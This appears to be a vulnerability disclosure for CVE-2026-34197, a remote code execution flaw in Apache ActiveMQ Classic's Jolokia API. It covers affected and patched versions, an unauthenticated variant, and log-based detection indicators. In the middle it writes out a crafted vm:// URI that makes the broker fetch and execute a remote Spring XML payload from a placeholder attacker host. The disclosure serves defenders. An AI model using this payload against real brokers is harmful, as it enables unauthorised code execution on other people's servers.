10 Minutes with Claude Remote Code Execution in Apache ActiveMQ (CVE-2026-34197)
10 Minutes with Claude: Remote Code Execution in Apache ActiveMQ (CVE-2026-34197)
CVE-2026-34197 is a remote code execution vulnerability in Apache ActiveMQ Classic that has been hiding in plain sight for 13 years. An attacker can invoke a management operation through ActiveMQ’s Jolokia API to trick the broker into fetching a remote configuration file and running arbitrary OS commands. The vulnerability requires credentials, but default credentials (admin:admin) are common in many environments. On some versions (6.0.0-6.1.1), no credentials are required at all due to another vulnerability, CVE-2024-32114, which inadvertently exposes the Jolokia API without authentication. In those versions, CVE-2026-34197 is effectively an unauthenticated RCE. We recommend organizations running ActiveMQ treat this as a high priority, as ActiveMQ has been a repeated target for real-world attackers. Both CVE-2016-3088, an authenticated RCE affecting the web console, and CVE-2023-46604, an unauthenticated RCE affecting the broker port, are on CISA’s KEV list. The vulnerability is patched in ActiveMQ versions 6.2.3 and 5.19.4.
The Classic broker ships with a web-based management console on port 8161, powered by the Jetty web server. This console includes Jolokia, an HTTP-to-JMX bridge that exposes broker management operations as a REST API. CVE-2026-34197 bypasses a previous fix by exploiting the ActiveMQ MBeans themselves. The <operation>* allow means every operation on every ActiveMQ MBean is callable through Jolokia. It turns out that one of these operations, addNetworkConnector(String) on the broker MBean, has a path to code execution. When a vm:// URI references a broker that doesn’t exist, ActiveMQ creates one on the fly by default, and it accepts a brokerConfig parameter telling it where to load configuration from, including attacker-controlled remote URLs. By calling addNetworkConnector through Jolokia with a crafted URI, an attacker can chain these mechanisms together to force the broker to fetch and execute a remote Spring XML configuration file, such as static:(vm://rce?brokerConfig=xbean:https://ATTACKER:8888/payload.xml). This instantiates all bean definitions, resulting in remote code execution. This is the same type of sink used in CVE-2023-46604.
The exploit above requires authentication to the Jolokia endpoint, but on some versions of ActiveMQ no credentials are needed at all. CVE-2024-32114 is a separate vulnerability in ActiveMQ 6.x where the /api/* path, which includes the Jolokia endpoint, was inadvertently removed from the web console’s security constraints. This means Jolokia is completely unauthenticated on ActiveMQ versions 6.0.0 through 6.1.1. On these versions, CVE-2026-34197 enables unauthenticated remote code execution. The vulnerability is patched in ActiveMQ Classic versions 5.19.4 and 6.2.3. The patch removed the ability for the addNetworkConnector operation to add vm:// transports, as this was never intended to be exposed as a remote operation in the first place. We recommend updating to the latest and also ensuring no default credentials are in use.
Exploitation leaves clear traces in the ActiveMQ broker logs. Look for network connector activity referencing vm:// URIs with brokerConfig=xbean:http. This is not something that occurs during normal broker operations. The broker will typically repeat these connection attempts several times before the network connector stops. Note that the command execution occurs during the connection attempt – the WARN message about configuration failure appears after the payload has already run. Other indicators to look for include:
- POST requests to
/api/jolokia/containingaddNetworkConnectorin the request body - Outbound HTTP requests from the ActiveMQ broker process to unexpected hosts
- Unexpected child processes spawned by the ActiveMQ Java process